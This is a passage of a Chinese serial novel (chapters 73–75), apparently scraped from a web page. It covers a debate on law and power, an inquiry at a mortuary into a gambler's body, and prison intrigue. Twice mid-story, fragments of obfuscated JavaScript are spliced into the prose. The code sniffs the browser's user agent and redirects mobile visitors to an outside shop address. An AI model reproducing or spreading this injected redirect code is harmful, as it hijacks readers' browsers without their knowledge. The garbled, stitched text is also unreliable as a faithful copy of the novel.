“我不赞同金三的做法，可也敬他的烈性。这世间如果没了这样的烈性，如果所有人都默默承受，都死守善良，抱着那无用的道德、律法，那......这人性之贪，只会越来越肆无忌惮；权势之恶，只会越来越猖獗。” “人间的戾气，都是怎么来的？就是这样一件件事，一个个人积攒下来的。积攒着，压抑着，得不到释放，慢慢发酵，而最后承受那惊天一炸的，往往还是无辜百姓。” 她顿了顿，笑道，“兴，百姓苦，亡，百姓苦。” 说完，她静静地看着周冶，那目光明明冷寂清寒，周冶却分明感受到那其中蕴藏着一种力量，仿佛要将他看出个孔似的。 73. 心性 看着窗下那二人，红荔在里间听得皱起了眉，悄声对回雪道：“这别人花前月下，都是你侬我侬，你看咱们小姐跟大人……都说的什么啊？不知道的，还以为他俩是帝后，凑一起非得商量治国理政呢。” 回雪一听笑了：“这你就不懂了吧。小姐说了，做朋友尚可放宽些。什么样的人，便什么交法，可唯独这枕边人，却不能只顾花前月下。” 红荔听愣了：“枕边人不花前月下，那要干嘛？跟爹娘一样，只过日子，只说三餐，孩子，银子？” 回雪道：“小姐说……我问你，若是小姐允你自己挑个人嫁，你怎么挑？” 红荔想了想：“那定是要挑一个中意的。” “那中意之外呢，别的就什么都不看了？” “这中意之外嘛，有人说，挑个性格跟自己一样的，日子过得才和顺。也有人说，得挑不一样的，生活才有意思。我嘛……觉得好像都有道理。” 回雪笑着看她，语气郑重地道：“和顺也行，有意思也好，小姐说了，真正重要的是，二人得想法一致，能力互补。” 见红荔一头雾水，回雪道：“最紧要的，二人得对人生的想法，对这人世的想法，对什么东西重要、什么不重要的想法，基本一致，才能相知，才能长久相伴。” 说着，向窗下递了个眼色，“这二位，便是在互通想法，看是否一致。若不一致，就无法同路了，也就得分道扬镳。” 回雪跟了小姐这么些年，明白她这是在主动表示诚意，也是在沟通筛选，没把周冶当可以利用的人去争取。 “那……能力互补呢？”红荔问。 回雪还看着那二人道：“就比如你能针织，找个夫君能砍柴挑水，安家护院。这是咱老百姓搭伙过日子的互补。若说小姐这样的人嘛，那便是如小姐这般聪慧无双，而周大人武艺高强……” 红荔：“周大人不够聪明？” 回雪笑了：“不聪明，小姐用得着同他废话吗？不过是各有所长。” “那......回雪姐姐，你会选什么样的人？” “谁给我选啊？”回雪笑笑，他们左不过就是配个小厮，“我们能有什么选择？” 红荔道：“我们的选择也是选择啊，有熹园的，还有这周大人身边的。像那洗墨就机灵，而涤砚沉稳，侍剑英武……” 回雪笑着打趣道：“我知道了！原来是你自己盯上了，想着怎么选，倒拿我作筏子呢！” “我哪有！” 两人笑闹作一团。 听见里间的嘻笑声，窗下的周冶和孟珂不由都看了一眼。 听孟珂说了这么多，周冶几乎没怎么开口，只一盏接一盏茶地喝着，静静地听着。 孟珂徐徐吐出一口气，抬眼看着看他，说道：“周冶，我是什么样的人，我走的是一条什么路，你最好看清楚。” 说着，举起茶盏要饮，又补了一句，“一直一直看清楚。” 她脸上维持着那风轻云淡的笑，心内对自己道，你也最好时时提醒自己，别忘记！ 周冶顿了顿，点着头道：“是，我之前对你，有诸多猜疑。我既不知道你真正的心性，更不可能知道你的打算。于公……于私，我能做的就是别无端揣测，别妄下论断，尽量搞清楚，所以才种种试探……甚至激将。” 不过，二人同行至此处，相识到此时，周冶觉得，自己算明白了孟珂的心性。 他看着她道：“你不是那样的人……” “现在还不是。”孟珂打断道，“但是如果没得选呢？” 她面带讥笑，重重地吐了口气，“连我自己都不能保证，自己是不是。” 周冶顿住了，他不由想，如她所说，如果换了他自己呢，会不会不如金三？如果他到了没得选的地步呢？他发现，自己并没有笃定的答案——真到了那时候，所有事前的假设都可能崩塌。 他正要说什么，孟珂打断了他：“时候不早了，公子也早些安歇吧。” 她只是表达自己，并不打算以此换取他的表态，没期望他就此立刻剖露真心。 周冶深深地看了她一眼，没多说什么，带着洗墨去了。 *** 接下来的几日，周冶日日拉着她出门，听曲看戏，逛街走马，浑似不知道她身患有疾一般。 这日，二人在南酩楼的二楼，看着楼下熙攘的街市饮酒。 周冶突然开口道：“你同我说的那些话……这些日子一直在我脑中转。” 他笑了笑：“行走世上这么多年，我自然不瞎。我岂能不知，这律法维护的，从来都是秩序，不是公道。律法的边界，从来都不是真假，不是黑白。说好听了，那是对底下人的安抚。说不好听点，就是张遮羞布，是对底下人的敷衍、糊弄和……需要之时的弹压。” “这大历朝官员维护的，从来都是世道的‘安稳’，不是正义。这安稳，也不是为着底下人。而是权贵们掐着底下人的极限，在他们继续忍耐和起而作乱之间，划的那条不至遭反噬的线。” “这律法，从来都只是对底下人立的。刑不上大夫。窃钩者诛，窃国者侯。律法，不过是个工具，互斗的工具，以上欺下的工具，弹压底下人之间秩序的工具。” 他笑了笑，“律法，离公道很远，离正义很远......” 他收回目光，看着孟珂，脸上带着好笑又心疼的笑，“最让我觉得五味杂陈的一句话，你知道是什么吗？那就是，听到百姓说，’当官不为民做主……’。我有时候就想，他们有多少人是真心地相信这句话，有多少人只是单纯地希望这句话是真？” “那些科举仕子，一开始可能还抱有为民做主的心，但这份心从来都不排在第一，更不是唯一。他的第一，一定是自己的仕途、薪俸、家门荣耀，是娶更好的妻，得更多的美妾，给子女好的前途……” “那颗为民做主的心，如果不跟其他利益冲突，还能给自己带来官声政绩，那自然乐得做。可是，更多时候是冲突的！这份心，在很多东西面前，都是最早被弃掉的。” “人都是为了自己。卖包子的赚钱是为了养自己的家，不是为了喂饱街上的人。农户种地是为了糊自己的口，也不是为了养活天下人。他们怎么就能相信，当官的，拥有权位却最不受限制的这些人，是要为别人呢？”他顿了顿道，“就因为‘在其位谋其政’这句话？” “可要知道，权利越大，不担责的权利也就越大，能让他负责的，能给他后果的，只有上头那少数人。他只要事上，唯上，就够了。” “如果农户不种地就能收成，想从谁家地里收，就从谁家地里收，上头的地主睁一只眼闭一只眼，只要你能交租就行，不管这租从哪儿来，只要没人闹起来就行，或者闹起来你能搞得定就行。这农户还会老实种地吗？他能忍得住不对别人地里的粮食伸手吗？若那被抢的真跳厉害了，地主的家丁还会帮着摁下去。这时候，他们大不了丢了差事，家中抢到的余粮，已经够活几辈子了。” “这……就是人性。世上大多数人，置于这样的处境，都会变成一个样。” 他看向了楼下：“他们不明白，这天下的大官小吏，原本就是国朝吸血天下的工具。他们本就是为了少数人的荣华富贵，最大程度地薅秃鹅毛。只要鹅不死......不死完，他们便要最大限度地薅，持续地薅，甚至急了的时候竭泽而渔地薅，这……才是这一套系统运转的真相。” 这次，换他说她听了。孟珂也静静听着。 他看向孟珂，“听说，小姐常年在卢中书的书房伺候，也打理府中事务，见识比周某只多不少。班门弄斧，见笑了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999170|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 孟珂见他说了这一通，道：“故而，公子到了此地，便废除种种政令，不要政绩，只放鹅们休养生息。” 周冶自嘲地一笑：“也不过因为我不需要靠此进阶，也不大受人牵制摆弄罢了。都是祖上之功，我做个顺水人情罢了。” 这时，涤砚匆匆来报：“张举找到了。” “哪儿找到的？”他看了孟珂一眼，见她脸上丝毫不动声色。她早前就说“在路上了”，如今这是“到地儿”了？ 涤砚：“城北的一个废宅。找是找到了，不过是死的。” 周冶闻言并不奇怪，都知道规律了——但凡重要的物证都是会失火的，而举凡相关人证，不死就失踪。总归没法让他顺顺遂遂地完事，晒太阳喝茶，安享人生的。 周冶问：“怎么死的？” 涤砚道：“听说，是欠了赌债，被放印子钱的杀的。” “听说？” “对，还没看到尸体，是发现他的老乞丐说的。” 回了衙门，那发现尸体的老叫花和收尸人也都被找了来。 老叫花道：“小的经常在那废宅落脚，那日见一个人躺在那儿，一身土，还以为是什么不知路数的外地人，结果上去就发现……在这种地方发现死尸，也算是我们的日常，流程都熟了，直接通知了收尸人，拉去了城外的南山义庄。” 赌徒大都卖儿鬻女、家徒四壁，死了往往跟无名尸一个待遇——即便家里还有人，便是有心收敛，也无钱安葬，索性任由义庄处置了。 周冶看着老叫花和收尸人，问：“你们怎么知道，就是放印子钱的杀的？” 老叫花伸出右手比划道：“右手的拇指和食指被斩断，不是欠债的赌徒是什么？一眼就认出来了。” 收尸人也道：“这么死的，也不知看过多少了。放印子钱的震慑那些还不上钱的，都这么干！” 周冶琢磨着道：“现场可有血迹？你们焉知，那手指不是死了之后，被其他人砍了，伪装的？这种杀人的手法谁都认得，模仿起来岂不是也很顺手？” “这……那宅子里，”老叫花和收尸人互看了眼，“好像……是没看到？” 涤砚也道：“查看过了，确实没有。” “放印子钱的一定会在人活着的时候砍。这样才能起到惩罚、折磨欠债人，并震慑他人的作用。人活着，会疼，会流血，血迹会挣扎、滴溅得到处都是。”周冶道，“要么，是死后砍的，要么，就是你们发现尸体的地方，并非案发之地。” 涤砚道：“兄弟们查到，他最后一次出现的确是在赌坊。他常去的就那几家，确实欠了不少钱，但那些放印子钱的都诉苦说，自己钱借出去，没收得回来，亏大本了；至于杀人，那是决计没有的事。” 问就是没有，等证据、证人拿出来，到时再说呗。 周冶笑道：“一个赌徒，死于放印子钱的最惯常的杀人手法，多顺理成章啊！这简直就是告诉大家，没有任何可疑。而这，恰恰就是最大的疑点！” 说着，便招呼人道，“人……尸体现在义庄？咱们看看去。” 正要出门，牢头袁家和就进来了，说是高升求见。 周冶还没开口，洗墨先替他答了：“不见，不见，大人正要出去办案拿人，忙着呢。哪有这功夫见他。” 袁家和道：“他急着呢......” 洗墨嗤笑一声道：“这抓起来的人又跑不了，不急！可外面的大活人，可是会跑的！” 虽然明明已经是大死人了。 袁家和老老实实地退下了。 洗墨嘀咕道，“牢里呆了那么久，咬死了不开口，现在急了？哼，你想说就说，想见就见，美得你！” 周冶看了他一眼，什么话都让他说尽了，自己反倒什么牢骚都没了，径直出门而去。 74. 义庄 这些日子里，同金三一样，被拉到南山义庄的无名尸，还有一具——便是那遍寻不见的张举。 不过，跟曾家二公子亲自来殓葬的金三不一样，张举的尸体连张破席子也没有，而是混在一车尸体里，破席草草盖着拉去的。 周冶一行人到了南山义庄。 大白天的，一个人也没有。 不，一个活人也没有。死了的，可不要太多。 方踏进院子，众人便觉浑身陡然一凉，那种丧事上独有的味道，在这里浓烈了好多倍。 周冶捂了捂口鼻，又觉得让手下人看着不好，轻咳了一声掩饰过去，负手在后，提步进去。 正堂供着一张香案，案上供的是东岳大帝，绕到后堂，眼前顿时映入一大片棺材。 行走其间，仿佛置身码头，身周则是大小不一的独木舟。这里倒也是码头，不过是生死之渡。这些棺木，便是承载那被弃之不用的臭皮囊之舟。 突然，空荡而死寂的堂内，传来一声轻微的叹息。仔细一听又没了，周冶一时都不知是不是自己幻觉。 正觉得发麻之时，眼角余光中掠过一个黑影，周冶的心突地一跳……是人是鬼？ 大白天的，撞鬼也不该在此时，他镇定了下来，转头看去。 只见一个六七十岁的老头，须发花白，皴皱的脸上没什么血色，还真有些人鬼难辨。 那不人不鬼的老者朝他长揖下拜：“不知县令大人亲至，有失远迎。小的是义庄管事，都叫我老馗。” 许是常年在义庄呆着，人也罩上了一层鬼气。周冶的心虽落了定，但还是有些突突地跳，心道，连名字也鬼气，也不知真名还是诨号。 “公子！” 身后突然炸响一个声音，周冶吓得一个激灵，转身瞪着侍剑，恨不能一脚把他踹对面山上去：“那么大声干嘛！聋了吗？” 侍剑一脸懵：“不是......跟平日一样？” 周冶指了指周围，找补道：“也不看看这是什么地方！死者为大，没听过？你这样惊扰了亡魂，还不知道！” 侍剑“哦”了一声，顿了顿，对着棺木前后左右地拜了拜。 周冶叹了口气，转头去问那老馗：“前几日，从城北废宅送来一个赌徒的尸身，三十多岁，中等个头，右手拇指和食指砍了的，现在何处？” “前几日……赌徒？” 那老馗扬起胡须，一脸思索样。 若不是那一身鬼气，周冶大概会觉得，他是个一生不得志的老才子，此刻正冥思苦想、字斟句酌，下一刻便能吟出千古绝对。 “应该……已经……埋了。” “这么快！”侍剑道。 老馗笑道：“大人，莫说前几日送的，便是今日送的，至晚也就一车拉上山去，埋了。” 说着，冲眼前这片棺木扬了扬胡须：“那需要扶灵回乡的，等着造大墓、大办丧仪的，才在此停灵呢。” 随手指了指旁边一个新棺，“像这曾府高管事的儿子，便是要慢慢置办后事，再择了日子，好生收葬。” 高仲？周冶和侍剑相视一眼，都看向那棺材。没想到，那夜过后再会，他们站的站着，躺的却已是永远躺着了。虽只隔了这一副板材，却已经隔了一个轮回。 周冶想起出门之时，袁家和说高升求见之时，洗墨的那个笑，顿时明白过来：“是那小子动了手脚。” 这日早晨，狱卒来换班的时候，上值的对下值的说起了外头的消息，说是前夜大雪，又冻死了几个，其中一个酒鬼，年纪轻轻的，可惜了了。 不过，那句“可惜了了”的语气，阴阳怪气的，分明是反话，还有些意有所指。 高升这样的人精，一下就听出来了，心里不知怎么就想到了自己儿子，但随即忙将这个念头挥了去，直怪自己怎么想这么晦气的事。 那几人正窸窸窣窣地议论着，有个狱卒走过，听了一耳朵，惊得大声道，“就是那......高升的儿子？那个差点打咱们袁头儿子的死小子？” 这话应了他方才那不好的预感，高升心底一阵惊恐，但旋即觉得，不，不会的，一定又是周冶诱他开口的招数！这些日子以来，周冶也好，外面的人也罢，都轮番来套话逼供！如今竟然编排上他儿子的生死了，实在可恶！ 他已经在周冶这儿吃了一回亏，还能上第二回当？周冶定是黔驴技穷了。 于是，他并不相信。想让他乱了？他偏不！他还要高高兴兴地，往下一躺，翘起二郎腿唱起歌来。 半日里，那些来往的狱卒看他，眼神都奇奇怪怪的。 放饭的时候，老袁头又来给儿子送饭了。高升一反常态，难得地主动去与他攀谈，笑道：“哟，这不是袁叔嘛！又来给我袁兄弟送饭啊。” 老袁头看了他一眼。 那一眼有些意味深长，高升脸上的笑意凝滞了一瞬。他知道，老袁头心里一直记恨自己父子，只是人厚道，做不出什么报复他的事来。他有恃无恐地道：“我跟袁叔还真有缘分哪。当初，咱们也是这样，您在牢房外头，我在这头，已经……二十多年了吧？那时候，我还没我儿子大，还是个连饭都吃不起的半大小子。” 听他提到儿子，老袁头想说什么，却又压了下去。 瞧他欲言又止的样子，高升心里忽然咯噔了一下，老袁头是不会撒谎的！他几步走到栅栏前，换了恭谨些的语气道：“袁叔，这几天……外面没发生什么事儿吧？” 老袁头那耷拉的三角眼看着他，眼神中透出一种奇异的复杂，有分明的厌恶，还带了几分可怜。 这下，高升真的慌了，心突突地跳了起来，讨好地笑道：“袁叔！我……我……我儿子他……，他们说他……不是真的吧？” 老袁头没有应，却也没有否认。 高升如遭雷击，急道：“袁叔！你别唬我！别人说的我都不信，我就信你。袁叔，你说一句，到底是不是真的？” 老袁头顿了顿，正要开口。 “爹！”袁家和叫住了他，使了个眼色，催道，“赶紧回去吧！闲话莫说！” “走了，走了。”老袁头点了点头，最后扫了高升一眼，走了。 高升彻底慌了，忙在栅栏里头紧追了几步：“袁叔！你别走啊！你先告诉我！” 可老袁头颤巍巍地走着，头也没再回一个。 “你告诉我，我儿子到底怎么样了？我求你了，你就告诉我吧！” 他的手伸出栅栏去，徒劳地想抓什么，“袁叔，我就这一个儿子啊！袁叔——” *** 高升在牢里嚎的时候，竹雨院中，回雪问：“小姐，可是心有不忍？” 孟珂还没说话，雨歇抢道：“不忍？这种自己找死的人。你救他一回，他也会有第二、第三回，总有一日是要死在这上头的。” 孟珂冷笑一声道：“对别人可以不忍，对他有什么不忍的？当日我梁家之难，高升难道不知？当日，他们可以袖手，可以帮凶，我如今却不能旁观？我不将高升的罪牵连他，不杀他，就已经宽仁了。” 那夜，孟珂夜里出去，掀开车帘，将手臂伸出去，借着寒气镇痒，正好看见一人醉醺醺地胡乱走着，踉跄几步倒进了路边的雪堆里，动了几下，没爬得起来。她忙叫人去看。 雨歇一看是高仲，将他翻过身来，回头去看小姐。 “走吧。”孟珂直接放下了帘子。 她大概无法做真正的恶人，但也一定不当佛光普照的菩萨，既是他……便让他生死由命吧。 若再选一次，她照样会直接走掉。孟珂笃定地道：“明知他是这种祸害，还是绝不悔悟、完全没救的那种，发‘善心’去救他，结果反害了他人性命，那我们反倒是帮凶了。” “就是！”雨歇道，“若是那种醉了酒便乖乖躺尸的，也就罢了。他这种……差点打死袁家孙子在前，当众就敢打黄杏在后，要我说，他死了，其他人才有活路呢！那黄杏可算是解脱了，也不怕再有更多的小袁倒他这个霉！” “雨歇这话没错，”孟珂说着，好像想起了什么人，脸上浮现出一种无奈的笑，唏嘘道，“你们记住，有一种善良，叫见死不救。愚蠢的善良，于世人，其实是不易察觉的恶。害人，也害己。” 回雪和雨歇点点头。 黄杏听了这个消息，一时却不知该作何想。人一死，婚约自是不解而解了，她本该松一口气。可一个活生生的人就这么没了，心中竟也莫名难受。 她还太年轻，对死这种东西还不太习惯。想到那夜还同她扭打一处的人，就这么没了，突然有些害怕起来——原来，死亡是那么突然，离她那么近。她以往见的都是老人、病人过世，还是头一回看到她一般大的、身康体泰的年轻人，就这么突然死了。看到这种突如其来的、离自己如此之近的死亡，原来跟那些，是全然不同的。 *** 高升终究是知道了，在牢里喊着、闹着要见大人。 袁家和是一丁点都不想帮他的忙，但只怕耽误周大人的事，还是去通报了一声。谁知，大人这次却像是要晾着他。 回了大牢，他又来回纠结了几趟，还是走到了高升牢前。 高升正急得像热锅上的蚂蚁，那牢房的地都快让他盘出坑道了，见他来，忙问：“袁兄弟，怎么样？大人可愿见我？” 袁家和冷冷地道：“话，已经替你带到。大人没工夫见你！” 说罢，头也不回地走了，也不管他在后面怎么“袁兄弟、袁大哥”地叫了。 空自叫了半天，再没人应。高升终于无力地退了几步，坐到铺着草的榻上，双手抱头，喃喃道，“是他们做的！一定是他们做的！他们果然不会放过我！” 一个夜里，那个女人终于来了。 “多日不见，高管事在这里，住得可舒心？” 高升一下就听出了梁夫人的声音，笑道：“夫人来落井下石？是不是晚了点。” 梁夫人含笑道：“这话说的！早就想来看你，就是家中事太多，没忙得过来。你也知道，你家大人不在了，留下一摊子......” “夫人，咱们何必兜什么圈子？您这是要小的效力？”高升打断她，看了看监牢，笑着叹道，“小的倒是想效力，可惜，如今是没办法咯！” “不，有些事，只有你能帮忙。” 高升“哦”了一声，笑道：“我可不知。难道是在牢里守着，等夫人你进来......陪我？” 梁夫人虽然戴着黑色的兜帽，在夜里昏黄黯淡的光线下，根本看不清面目，但他可以想象，她那张美丽的脸庞上，表情有多丰富，有多好笑。 梁夫人却浑似没听到一样，完全不为所动，只问：“咱们打开天窗说亮话。曾怀义的东西收在哪，你知道吧。” “我……”高升故意吊高了声音，笑道，“我......该不该知道呢？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999171|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “交出来，保你一家富贵。” “我都在这了，还要富贵何用？”高升笑道，“画饼充饥？那好歹也画得圆些。夫人不该先想法把我弄出去？” “这饼，你不爱吃，也无妨。”梁夫人悠游地道，“你在里头，可你的妻儿，还在外头呢。” “妻儿？”高升闻言大笑了起来，笑得眼泪都出来了，半晌才收住了，啧啧了几声，感慨地道，“多日不见，夫人怎么变得天真了？我这样的人，岂能把妻儿摆在我自己前头？” 见他软硬都不吃，梁夫人冷笑一声道：“既如此，那你就在这里，好好吃你的苦头！至于外头的妻儿，你既不在意，那就无妨了。” 说罢，拂袖而去。 身后，高升的大笑声在夜里格外安静的监牢里，来回荡着。有人被吵醒了，不满地骂起娘来...... 梁夫人带着丫头走出大牢，另一个候在那儿的丫头立马提灯迎了上来，烛光打在她脸上——哪里是什么梁夫人，而是孟珂！ 孟珂对身后的丫头道：“发悬赏令，找樊仲荣。就照之前放的流言，说发现他中饱私囊、卷款跑路，赏百金，定要拿活的。” 五儿走进了光亮，不解地道：“为何再提樊管事？大家都忘了他，他才安全。之前放流言倒也罢了，现在悬赏拿人，不怕……” 她一时忘了，还用的是梁夫人的声音。 “听这个声音，我就瘆！”孟珂摸了摸手臂道。当初选中五儿，便是因为她这把学什么像什么，学谁像谁的嗓子。 五儿清了清嗓子：“奴婢一时忘了，还没出来......” 孟珂笑笑，这才答她道：“便是悬赏千金，谁还能把他找出来？这不过是告诉人，樊仲荣与我不是一条心。我与曾家有恩无仇。咱们撵狗入穷巷，可若眼前的生路摆得有钉子，他们心存畏惧，还怎么走？” “那……接下来怎么做？” “自然是等着他们一个个过来，然后，都栓了！”孟珂的眼神透出一种杀伐决断之气！ *** 牢里，高升呆呆地坐了半晌，慢慢抬起头来，手指捏得咔咔作响：“这个女人……” “这个女人......”梁云钦一拍桌子，斩钉截铁地道，“一定是她！” 烟火案扯到他身上起，他就一直提溜着心。等金三被找到的时候，他又吊起了一口气——只怕这人也跟张举一样，被利用了，只怕会来指认自己。等金三死了，也没什么动静，他好歹慢慢松下了这口气。谁料，这日竟爆出找到张举尸体的消息。他那口才放下去的气，又提得更高了。 “不是！怎么会出现在城北呢？他明明……” 梁云钦看了窗外一眼，压低了声音，困惑地对杨管家道，“明明都已经埋了！” 杨管家的目光看向了一旁的苏姒，心道，如今这些事都不避着她了？他也满头雾水，不解地应道：“谁说不是呢！” 那夜，梁云钦从邀月楼出来，准备回府，上车一掀帘子，见里面端坐了一个人，吓了他一大跳。可那人不动，也不吱声。他正奇怪着，杨管家把灯笼凑上来一看，他当即吓得差点跌下车去。 那是他一直在找的张举……的尸体。 他忙让杨管家连夜拉去城外，找个荒僻之处埋了。 “那处实在荒僻，按说不会这么寸，这么快就让人发现了啊！”杨管家边思索边道，顿了顿，叹道，“老爷，那夜我就觉得没对，咱们只怕是让人做局了！” 梁云钦沉声道：“说下去！” “那夜，咱们一时慌了，没想那么多。你说，这张举的尸体怎么就突然出现在咱们马车里？谁杀的，谁放的？这放的人会不会一直在暗处盯着？咱们的踪迹一直在人掌握，被牵着鼻子走了！” 他摇了摇头，“咱们就不该那么急匆匆埋了！只怕正好着了人的道。咱们该拿他去吊背后之人啊！如今倒好，尸体不在咱们手上，还不知道那背后之人做了什么手脚，只怕就是要栽赃陷害呢！” 梁云钦一拍大腿：“是！你说的是！就怪那夜一时慌了手脚，什么都顾不上了！你也不提醒提醒！” 杨管家脸上一僵，笑了笑，提醒道：“不过，老爷，周大人带人去的，可是南山义庄。” 梁云钦让他点醒了：“对！对！对！” 他一拍脑袋，笑着道：“你看，我一听就急了，又急糊涂了不是！” 杨管家笑道：“咱们啊，先把心放在肚子里！别再乱了阵脚才是！” *** 义庄里，老馗对周冶一笑，继续道：“这义庄的地方本就有限，人手也不足。那种无人收尸的，放着占地方做什么？自然是凑一车，便拖去一埋了事。” 侍剑道：“埋哪儿了？” 老馗脸色微动，朝外一指：“喏，就……上边那片荒坡。” “哪个位置？带我们去。” 老馗迟疑了起来：“这……” 周冶笑：“怎么，才几日就不记得了？” 老馗笑道：“大人应该知道，这绥陵虽说也有几家义庄，可那都是大族自己的义庄，轻易也不愿收外人进自家的墓地，怕坏了风水。愿意收敛安埋无名尸的，只此一家。” “日子久了，那些葬不起的也都当无名尸，一并往这儿送。每日里，少不得十几具。这些人都是无人祭祀的，随手就埋了。好多时候，连谁是谁都不知道，又哪会知道，谁埋在哪儿？” 75. 挖开 周冶看老头说话轻而缓慢，却滴水不漏，心道，收尸的活，自要年轻有力气的；能留他在此管事，自然是有些能耐的。 他点点头道：“倒是这个理。不过，这人可是三州商会粱会长的手下人，如今又牵涉要案，今日便是挖地三十尺，也非挖出来不可。” 老馗面色变了几变，末了，“哦”了一声，笑了。 周冶一直看着他脸上的风云变幻，问：“你笑什么？” “他被收来此处，倒是歪打正着了。” 周冶：“怎么说？” “大人可知，为何独独这南山义庄，买下荒山，收埋外人？” 周冶方才就奇怪，只是没问，他还是那日送金三的时候听孟珂说起，才第一次知道有这么个地方。 老馗道：“义庄正是商会的产业，每年由梁会长牵头，商会出大头，绥陵士绅随喜，共同捐资支持。此人既是梁会长的手下人，收葬入了此地，看来是他注定的归宿。” 周冶知道曾怀义和商会常一起发粥散药，对地方上的大小事都多有赈济，但没想到还有义庄这一茬。他看向外面的荒坡，道：“此人暂时是归不了宿了！走，带我们看看去。” 老馗面露难色：“这……且容小老儿想想，这些日子拉回来的，都埋在哪儿来着？” 侍剑在一旁厉声喝道：“要不要松松筋骨，帮你回想回想？” 老馗被喝得瑟缩了一下，忙左翘翘胡子，右翘翘胡子，作深思状，突然道：“想起来了！” 周冶笑：“你这想得倒也快。” 话音未落，老馗拔腿就往外冲去，周冶和侍剑只道他要跑，忙追了出去。 出了院墙，看他是直奔那荒坡而去，才松了口气。 别看那小老头枯瘦得跟地上的枯枝一样，脚下却疾步如飞。二人追在其后爬坡上坎，竟都微微喘起了气，互看了一眼，也不知这小老头这一惊一乍的是什么毛病。 到了荒坡上，老馗左转三圈，右转两圈，终于指着一处新土，扭头看他们：“应该就是这儿了！” “你确定？” “不确定。” 看周冶倒吸了一口气，一旁的侍剑作势又要发作，老馗忙道，“那日埋人的小子是新来的，生手动作慢，一直埋到天都黑了，结果自己还被吓到了，一路飞跑回去，说什么，听到有人啃骨头，掰得咔咔直响的声音……” 山风骤起，阴云压顶，侍剑和周冶不由浑身一凉。 “二位莫怕，”老馗指着地上的枯枝，笑道，“我想着，定是他踩到这一地的枯枝，断得咔咔响。而这片坡上枯枝最多的，就是这一片了。” 侍剑扫了一眼，一挥手，喊了句“挖”，周围立刻尘土翻飞了起来。 *** 邀月阁里，梁云钦心里一直忐忑不安，总觉得有什么事要发生。 苏姒看他又掐起了太阳穴，走过去，叹了口气道：“这些日子，成日里出事，要不头疼也难。” 梁云钦眨了眨眼道：“近来不只头疼，这眼也开始花了！” “想是昨夜受了惊，没睡好吧！”苏姒接手替他按了起来，心疼地道，“老爷也到了这个年纪了，就该好生将养，哪里经得起日日出事，夜夜受惊的。” 梁云钦被她提了醒，猛地睁大了眼：“对！昨夜的事！不好！” 苏姒停了手：“怎么了？” 梁云钦道：“只怕要出大事！赶紧，把杨管家叫进来！” 说罢，以手扶额，满脑门子的官司。 前夜，梁府闹了贼。近日接连出事，他的神经本就一直就提溜着，忙赶了回去，冲进书房一看，果然被翻得乱七八糟。他关上房门，正要查看最重要的东西，就见下人急急跑来报。 “老爷，孙九爷来了。” 梁云钦正有火没处发，恼道：“说我不在！这时候来，添什么乱！” 想想又压着火气，吩咐道，“让他稍等一等，我这就出去，千万别让他……” 下人道：“来不及了！他不等通传，就一路进来了。应该马上就要进来了。” “这……”梁云钦两手把着门，站在门缝内，看着外面，一时开也不是，关也不是。 果然，下一刻就听得一声高喊，“云钦兄！” 梁云钦一跺脚，“哎”了一声，终是丢开了把着门的双手。 孙九爷迈着方步走进院子里来，砰一声推开梁云钦身侧的门，一看里头的满屋狼藉，“啧啧”地道：“你这儿怎么回事？” 梁云钦瞥了他一眼，苦笑道：“没什么，下人做错了事，我发了场火，砸了些东西。九哥，这里乱，我们换个地方坐！” “不用！不妨事！” 孙九爷一脚将倒地的凳子踢开，伸手一拂，将桌上的物什都拂落地下，稳稳地坐下了，“咱们兄弟见什么外，就在这儿坐就是。” 梁云钦见他是不会走了，只好吩咐道：“上茶。” 下人送上茶来，退出去，将门带上。 梁云钦道：“九哥有话说，叫个人传话就是，什么事还劳你亲自走一趟？” 说着，话音一转，意味深长地道，“不过，我这寻常也难得在家，九哥这突然上门，竟那么巧就撞上了！看来，咱们兄弟共事多年，还是有些心有灵犀啊！你说是不是？” 说完，装模作样地大笑起来。 孙九爷也跟着笑了一通，开门见山道：“这自然不是巧，而是听说你府上出了事，特意来看看。” 梁云钦干笑了起来：“出事？我在自己家发个火，还能出什么事？总不能把自家房子烧了？” 孙九爷继续道：“这几日，本来也要跟你商量些要紧的事。” 梁云钦“哦”了一声，摆出一副愿闻其详的样子。 孙九爷道：“你看，曾家的事那周冶一直揪着不放，他这直达天听的公子哥儿，咱们事事为其掣肘，一时也……动不得他。我就想着，现下可别让他抓到什么把柄，义庄的事……只怕得消停些日子。” 周冶揪着曾家的事也不是一天两天了，他怎么突然就想到义庄这事了？梁云钦心下忖度着，面上没动声色，继续打着哈哈。 孙九爷呷了一口茶，继续道，“他在这儿，总归呆不长。咱们也不指着这一笔银子使，就歇他一段时间又何妨？等消停了，继续做便是。” 梁云钦笑道：“九哥说的是，我也有此打算。这曾兄不在了，咋俩跟上头毕竟隔了一层不是。真要闹起来了，谁还保咱们啊，不就跟九哥你说的一样，顺手就把咱们择出去了。” 孙九爷道：“那就说定了。咱们两边把各自要收的收了，只一件事……” 梁云钦心道，来了，就知道你是冲这来的。 “这……账本和收尸录，还是给我保管为上。” 梁云钦笑道：“收尸录在庄子上啊，九哥随时去看便是。不过，既然都要收手了，又何必动呢？这季的账，咱们就势结了，我说话就把银子送府上去，必不让九哥操心。” 孙九爷笑了：“这不是银子的事！咱们这么多年了，我还信不过你吗？只是……瞅瞅你这屋里，内贼还是外贼的，都翻到这儿来了。东西留在你这里，只怕是不安全了。” 